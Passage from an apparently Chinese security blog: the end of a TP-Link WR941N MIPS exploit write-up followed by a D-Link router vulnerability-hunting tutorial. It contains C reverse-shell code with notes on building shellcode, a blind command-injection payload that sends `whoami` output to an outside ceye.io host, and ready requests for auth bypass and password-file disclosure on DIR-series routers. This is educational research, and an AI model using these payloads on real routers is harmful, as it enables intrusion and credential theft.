:1<ol class="linenums"><li class="L0"><code><span class="com">#define</span><span class="pln"> __NR_Linux </span><span class="lit">4000</span></code></li><li class="L1"><code><span class="com">#define</span><span class="pln"> __NR_socket </span><span class="pun">(</span><span class="pln">__NR_Linux </span><span class="pun">+</span><span class="pln"> </span><span class="lit">183</span><span class="pun">)</span></code></li></ol>所以
$v0=4183
表示的就是socket函数,具体参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html1<ol class="linenums"><li class="L0"><code><span class="kwd">int</span><span class="pln"> sys_socket</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> family</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> type</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> protocol</span><span class="pun">)</span></code></li></ol>现在,先用c来实现一遍反连shell的代码:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ cat test</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L1"><code><span class="com">#include</span><span class="str"><stdlib.h></span></code></li><li class="L2"><code><span class="com">#include</span><span class="pln"> </span><span class="str"><sys/socket.h></span></code></li><li class="L3"><code><span class="com">#include</span><span class="pln"> </span><span class="str"><netinet/in.h></span></code></li><li class="L4"><code><span class="com">#include</span><span class="pln"> </span><span class="str"><unistd.h></span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">int</span><span class="pln"> main</span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> sockfd</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> sockfd </span><span class="pun">=</span><span class="pln"> socket</span><span class="pun">(</span><span class="lit">2</span><span class="pun">,</span><span class="lit">2</span><span class="pun">,</span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> sockaddr_in addr</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> addr</span><span class="pun">.</span><span class="pln">sin_family </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> addr</span><span class="pun">.</span><span class="pln">sin_port </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x3039</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> addr</span><span class="pun">.</span><span class="pln">sin_addr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xc0a80164</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> connect</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">addr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">sizeof</span><span class="pun">(</span><span class="pln">addr</span><span class="pun">))</span></code></li><li class="L5"><code><span class="pln"> dup2</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L6"><code><span class="pln"> dup2</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L7"><code><span class="pln"> dup2</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="lit">2</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> execve</span><span class="pun">(</span><span class="str">"//bin/sh"</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pun">}</span></code></li></ol>和其他架构不一样,mips架构中,tcp是2,udp是1
所以上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中就是tcp反连
还有一点就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理
然后把上面代码转换成mips指令的汇编
但是有个问题,之前说了该路由器不接收
\x00
和\x20
两个字符,而上面的汇编转换成字节码:1<ol class="linenums"><li class="L0"><code><span class="pln">nor $a0</span><span class="pun">,</span><span class="pln">$t7</span><span class="pun">,</span><span class="pln">$zero </span><span class="pun">=></span><span class="pln"> </span><span class="str">"\x01\xe0\x20\x27"</span></code></li></ol>所以要把这句指令进行修改, 因为
$a0
和$a1
的值都为2,所以可以这样修改:1<ol class="linenums"><li class="L0"><code><span class="pln">sw $a1</span><span class="pun">,-</span><span class="lit">1</span><span class="pun">(</span><span class="pln">$sp</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">"\xaf\xa5\xff\xff"</span></code></li><li class="L1"><code><span class="pln">lw $a0</span><span class="pun">,-</span><span class="lit">1</span><span class="pun">(</span><span class="pln">$sp</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">"\x8f\xa4\xff\xff"</span></code></li></ol>把上面的汇编转成shellcode替换exp中的shellcode,实际测试,又发现一个问题,设备成功反连了控制端,但是却不能执行命令,到路由器上用ps查看,发现
sh
已经变为僵尸进程经研究,问题出在
execve("/bin/sh",0,0)
,如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)
则成功反弹shell,可以任意命令执行参考链接
- https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
- https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
- http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly
- https://www.kanxue.com/article-read-218.htm
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
- http://asm.sourceforge.net/syscall.html
- https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h
-
D-Link系列路由器漏洞挖掘入门
作者:Sebao@知道创宇404实验室
前言
前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们。所以回来就决定好好研究一下路由器,争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。
准备工作
既然要挖路由器漏洞,首先要搞到路由器的固件。
D-Link路由器固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/
下载完固件发现是个压缩包,解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk,但是缺少一些依赖,所以还是编译安装了一下。
1<ol class="linenums"><li class="L0"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> update </span></code></li><li class="L1"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install build</span><span class="pun">-</span><span class="pln">essential autoconf git </span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com"># https://github.com/devttys0/binwalk/blob/master/INSTALL.md </span></code></li><li class="L4"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/devttys0/binwalk.git </span></code></li><li class="L5"><code><span class="pln">$ cd binwalk </span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com"># python2.7安装 </span></code></li><li class="L8"><code><span class="pln">$ sudo python setup</span><span class="pun">.</span><span class="pln">py install </span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="com"># python2.7手动安装依赖库 </span></code></li><li class="L1"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install python</span><span class="pun">-</span><span class="pln">lzma </span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install python</span><span class="pun">-</span><span class="pln">crypto </span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install libqt4</span><span class="pun">-</span><span class="pln">opengl python</span><span class="pun">-</span><span class="pln">opengl python</span><span class="pun">-</span><span class="pln">qt4 python</span><span class="pun">-</span><span class="pln">qt4</span><span class="pun">-</span><span class="pln">gl python</span><span class="pun">-</span><span class="pln">numpy python</span><span class="pun">-</span><span class="pln">scipy python</span><span class="pun">-</span><span class="pln">pip </span></code></li><li class="L6"><code><span class="pln">$ sudo pip install pyqtgraph </span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install python</span><span class="pun">-</span><span class="pln">pip </span></code></li><li class="L9"><code><span class="pln">$ sudo pip install capstone </span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com"># Install standard extraction utilities(必选) </span></code></li><li class="L2"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install mtd</span><span class="pun">-</span><span class="pln">utils gzip bzip2 tar arj lhasa p7zip p7zip</span><span class="pun">-</span><span class="pln">full cabextract cramfsprogs cramfsswap squashfs</span><span class="pun">-</span><span class="pln">tools </span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com"># Install sasquatch to extract non-standard SquashFS images(必选) </span></code></li><li class="L5"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install zlib1g</span><span class="pun">-</span><span class="pln">dev liblzma</span><span class="pun">-</span><span class="pln">dev liblzo2</span><span class="pun">-</span><span class="pln">dev </span></code></li><li class="L6"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/devttys0/sasquatch </span></code></li><li class="L7"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd sasquatch </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">./</span><span class="pln">build</span><span class="pun">.</span><span class="pln">sh</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="com"># Install jefferson to extract JFFS2 file systems(可选) </span></code></li><li class="L0"><code><span class="pln">$ sudo pip install cstruct </span></code></li><li class="L1"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/sviehb/jefferson </span></code></li><li class="L2"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd jefferson </span><span class="pun">&&</span><span class="pln"> sudo python setup</span><span class="pun">.</span><span class="pln">py install</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com"># Install ubi_reader to extract UBIFS file systems(可选) </span></code></li><li class="L5"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install liblzo2</span><span class="pun">-</span><span class="pln">dev python</span><span class="pun">-</span><span class="pln">lzo </span></code></li><li class="L6"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/jrspruitt/ubi_reader </span></code></li><li class="L7"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd ubi_reader </span><span class="pun">&&</span><span class="pln"> sudo python setup</span><span class="pun">.</span><span class="pln">py install</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="com"># Install yaffshiv to extract YAFFS file systems(可选) </span></code></li><li class="L0"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/devttys0/yaffshiv </span></code></li><li class="L1"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd yaffshiv </span><span class="pun">&&</span><span class="pln"> sudo python setup</span><span class="pun">.</span><span class="pln">py install</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com"># Install unstuff (closed source) to extract StuffIt archive files(可选) </span></code></li><li class="L4"><code><span class="pln">$ wget </span><span class="pun">-</span><span class="pln">O </span><span class="pun">-</span><span class="pln"> http</span><span class="pun">:</span><span class="com">//my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv </span></code></li><li class="L5"><code><span class="pln">$ sudo cp bin</span><span class="pun">/</span><span class="pln">unstuff </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="kwd">local</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span></code></li></ol>按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。
然后用binwalk -Me 固件包名称
解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root
文件夹,就是路由器的完整固件包。漏洞挖掘
此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在
suashfs-root/www
或者suashfs-root/htdocs
文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。D-Link DIR-645 & DIR-815 命令执行漏洞
Zoomeye dork: DIR-815 or DIR-645
这里以 D-Link DIR-645固件为例,解开固件进入
suashfs-root/htdocs
文件夹。这个漏洞出现在
diagnostic.php
文件。直接看代码1<ol class="linenums"><li class="L0"><code><span class="pln">HTTP</span><span class="pun">/</span><span class="lit">1.1</span><span class="pln"> </span><span class="lit">200</span><span class="pln"> OK</span></code></li><li class="L1"><code><span class="typ">Content</span><span class="pun">-</span><span class="typ">Type</span><span class="pun">:</span><span class="pln"> text</span><span class="pun">/</span><span class="pln">xml</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pun"><?</span></code></li><li class="L4"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"act"</span><span class="pun">]</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="str">"ping"</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">set</span><span class="pun">(</span><span class="str">"/runtime/diagnostic/ping"</span><span class="pun">,</span><span class="pln"> $_POST</span><span class="pun">[</span><span class="str">"dst"</span><span class="pun">]);</span></code></li><li class="L7"><code><span class="pln"> $result </span><span class="pun">=</span><span class="pln"> </span><span class="str">"OK"</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pun">}</span></code></li><li class="L9"><code><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"act"</span><span class="pun">]</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="str">"pingreport"</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> $result </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">get</span><span class="pun">(</span><span class="str">"x"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/runtime/diagnostic/ping"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pun">}</span></code></li><li class="L3"><code><span class="pln">echo </span><span class="str">'<?xml version="1.0"?>\n'</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pun">?><</span><span class="pln">diagnostic</span><span class="pun">></span></code></li><li class="L5"><code><span class="pln"> </span><span class="str"><report></span><span class="pun"><?=</span><span class="pln">$result</span><span class="pun">?></</span><span class="pln">report</span><span class="pun">></span></code></li><li class="L6"><code><span class="pun"></</span><span class="pln">diagnostic</span><span class="pun">></span></code></li></ol>分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,
set("/runtime/diagnostic/ping", $_POST["dst"]);
这段代码就是造成漏洞的关键代码。参数dst
没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看$result = "OK";
无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload1<ol class="linenums"><li class="L0"><code><span class="pln">url </span><span class="pun">=</span><span class="pln"> </span><span class="str">'localhost/diagnostic.php'</span></code></li><li class="L1"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">"act=ping&dst=%26 ping `whoami`.ceye.io%26"</span></code></li></ol>因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。
D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞
Zoomeye dork:DIR-300 or DIR-600
这里以 D-Link DIR-300固件为例,解开固件进入
suashfs-root/www
文件夹。漏洞出现在
/model/__show_info.php
文件。1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span></code></li><li class="L1"><code><span class="kwd">if</span><span class="pun">(</span><span class="pln">$REQUIRE_FILE </span><span class="pun">==</span><span class="pln"> </span><span class="str">"var/etc/httpasswd"</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> $REQUIRE_FILE </span><span class="pun">==</span><span class="pln"> </span><span class="str">"var/etc/hnapasswd"</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> echo </span><span class="str">"<title>404 Not Found</title>\n"</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> echo </span><span class="str">"<h1>404 Not Found</h1>\n"</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pun">}</span></code></li><li class="L6"><code><span class="kwd">else</span></code></li><li class="L7"><code><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$REQUIRE_FILE</span><span class="pun">!=</span><span class="str">""</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">require</span><span class="pun">(</span><span class="pln">$LOCALE_PATH</span><span class="pun">.</span><span class="str">"/"</span><span class="pun">.</span><span class="pln">$REQUIRE_FILE</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> echo $m_context</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> echo $m_context2</span><span class="pun">;</span><span class="com">//jana added</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$m_context_next</span><span class="pun">!=</span><span class="str">""</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> echo $m_context_next</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln"> echo </span><span class="str">"<br><br><br>\n"</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$USE_BUTTON</span><span class="pun">==</span><span class="str">"1"</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">{</span><span class="pln">echo </span><span class="str">"<input type=button name='bt' value='"</span><span class="pun">.</span><span class="pln">$m_button_dsc</span><span class="pun">.</span><span class="str">"' onclick='click_bt();'>\n"</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code><span class="pun">?></span></code></li></ol>这里看到已经禁止了
$REQUIRE_FILE
的参数为var/etc/httpasswd
和var/etc/hnapasswd
。这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd
的路径,就可以绕过这个过滤了。payload:
1<ol class="linenums"><li class="L0"><code><span class="pln">localhost</span><span class="pun">/</span><span class="pln">model</span><span class="pun">/</span><span class="pln">__show_info</span><span class="pun">.</span><span class="pln">php</span><span class="pun">?</span><span class="pln">REQUIRE_FILE</span><span class="pun">=</span><span class="str">/var/</span><span class="pln">etc</span><span class="pun">/</span><span class="pln">httpasswd</span></code></li></ol>这里设置
REQUIRE_FILE=/var/etc/httpasswd
成功绕过上面的 if判断,进行任意文件读取。D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞
Zoomeye dork:DIR-300 or DIR-615
这里以 D-Link DIR-300固件为例,解开固件进入
suashfs-root/www
文件夹默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:
1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span></code></li><li class="L1"><code><span class="pln">$MY_NAME </span><span class="pun">=</span><span class="str">"login_fail"</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">$MY_MSG_FILE</span><span class="pun">=</span><span class="pln">$MY_NAME</span><span class="pun">.</span><span class="str">".php"</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">$NO_NEED_AUTH</span><span class="pun">=</span><span class="str">"1"</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">$NO_SESSION_TIMEOUT</span><span class="pun">=</span><span class="str">"1"</span><span class="pun">;</span></code></li><li class="L5"><code><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/model/__html_head.php"</span><span class="pun">);</span></code></li><li class="L6"><code><span class="pun">?></span></code></li></ol>此漏洞触发的原因在于 全局文件
_html_head.php
。1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span></code></li><li class="L1"><code><span class="com">/* vi: set sw=4 ts=4: */</span></code></li><li class="L2"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$NO_NEED_AUTH</span><span class="pun">!=</span><span class="str">"1"</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="com">/* for POP up login. */</span></code></li><li class="L5"><code><span class="com">// require("/www/auth/__authenticate_p.php");</span></code></li><li class="L6"><code><span class="com">// if ($AUTH_RESULT=="401") {exit;}</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">/* for WEB based login */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/auth/__authenticate_s.php"</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$AUTH_RESULT</span><span class="pun">==</span><span class="str">"401"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/login.php"</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;}</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$AUTH_RESULT</span><span class="pun">==</span><span class="str">"full"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/session_full.php"</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;}</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$AUTH_RESULT</span><span class="pun">==</span><span class="str">"timeout"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/session_timeout.php"</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;}</span></code></li><li class="L2"><code><span class="pln"> $AUTH_GROUP</span><span class="pun">=</span><span class="pln">fread</span><span class="pun">(</span><span class="str">"/var/proc/web/session:"</span><span class="pun">.</span><span class="pln">$sid</span><span class="pun">.</span><span class="str">"/user/group"</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/model/__lang_msg.php"</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pun">?></span></code></li></ol>这里我们看到
$NO_NEED_AUTH!="1"
如果$NO_NEED_AUTH
不为 1 则进入身份认证。如果我们把$NO_NEED_AUTH
值 设置为 1 那就绕过了认证进行任意操作。payload:
localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
这里
AUTH_GROUP=0
表示admin权限D-Link DIR-645 信息泄露漏洞
Zoomeye dork:DIR-645
这里以 D-Link DIR-300固件为例,解开固件进入
suashfs-root/htdocs
文件夹D-Link DIR-645
getcfg.php
文件由于过滤不严格导致信息泄露漏洞。1<ol class="linenums"><li class="L0"><code><span class="pln">$SERVICE_COUNT </span><span class="pun">=</span><span class="pln"> cut_count</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"SERVICES"</span><span class="pun">],</span><span class="pln"> </span><span class="str">","</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">TRACE_debug</span><span class="pun">(</span><span class="str">"GETCFG: got "</span><span class="pun">.</span><span class="pln">$SERVICE_COUNT</span><span class="pun">.</span><span class="str">" service(s): "</span><span class="pun">.</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"SERVICES"</span><span class="pun">]);</span></code></li><li class="L2"><code><span class="pln">$SERVICE_INDEX </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L3"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$SERVICE_INDEX </span><span class="pun"><</span><span class="pln"> $SERVICE_COUNT</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> $GETCFG_SVC </span><span class="pun">=</span><span class="pln"> cut</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"SERVICES"</span><span class="pun">],</span><span class="pln"> $SERVICE_INDEX</span><span class="pun">,</span><span class="pln"> </span><span class="str">","</span><span class="pun">);</span></code></li><li class="L6"><code><span class="pln"> TRACE_debug</span><span class="pun">(</span><span class="str">"GETCFG: serivce["</span><span class="pun">.</span><span class="pln">$SERVICE_INDEX</span><span class="pun">.</span><span class="str">"] = "</span><span class="pun">.</span><span class="pln">$GETCFG_SVC</span><span class="pun">);</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$GETCFG_SVC</span><span class="pun">!=</span><span class="str">""</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> $file </span><span class="pun">=</span><span class="pln"> </span><span class="str">"/htdocs/webinc/getcfg/"</span><span class="pun">.</span><span class="pln">$GETCFG_SVC</span><span class="pun">.</span><span class="str">".xml.php"</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="com">/* GETCFG_SVC will be passed to the child process. */</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">isfile</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">)==</span><span class="str">"1"</span><span class="pun">)</span><span class="pln"> dophp</span><span class="pun">(</span><span class="str">"load"</span><span class="pun">,</span><span class="pln"> $file</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> $SERVICE_INDEX</span><span class="pun">++;</span></code></li><li class="L4"><code><span class="pun">}</span></code></li></ol>这里我们可以看到
$GETCFG_SVC
没有任何过滤直接获取了 POST 传递过来的SERVICES
的值。如果$GETCFG_SVC
不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php
文件。payload:
1<ol class="linenums"><li class="L0"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//localhost/getcfg.php</span></code></li><li class="L1"><code><span class="pln">post</span><span class="pun">:</span><span class="pln">SERVICES</span><span class="pun">=</span><span class="pln">DEVICE</span><span class="pun">.</span><span class="pln">ACCOUNT</span></code></li></ol>总结
可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。
路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。参考链接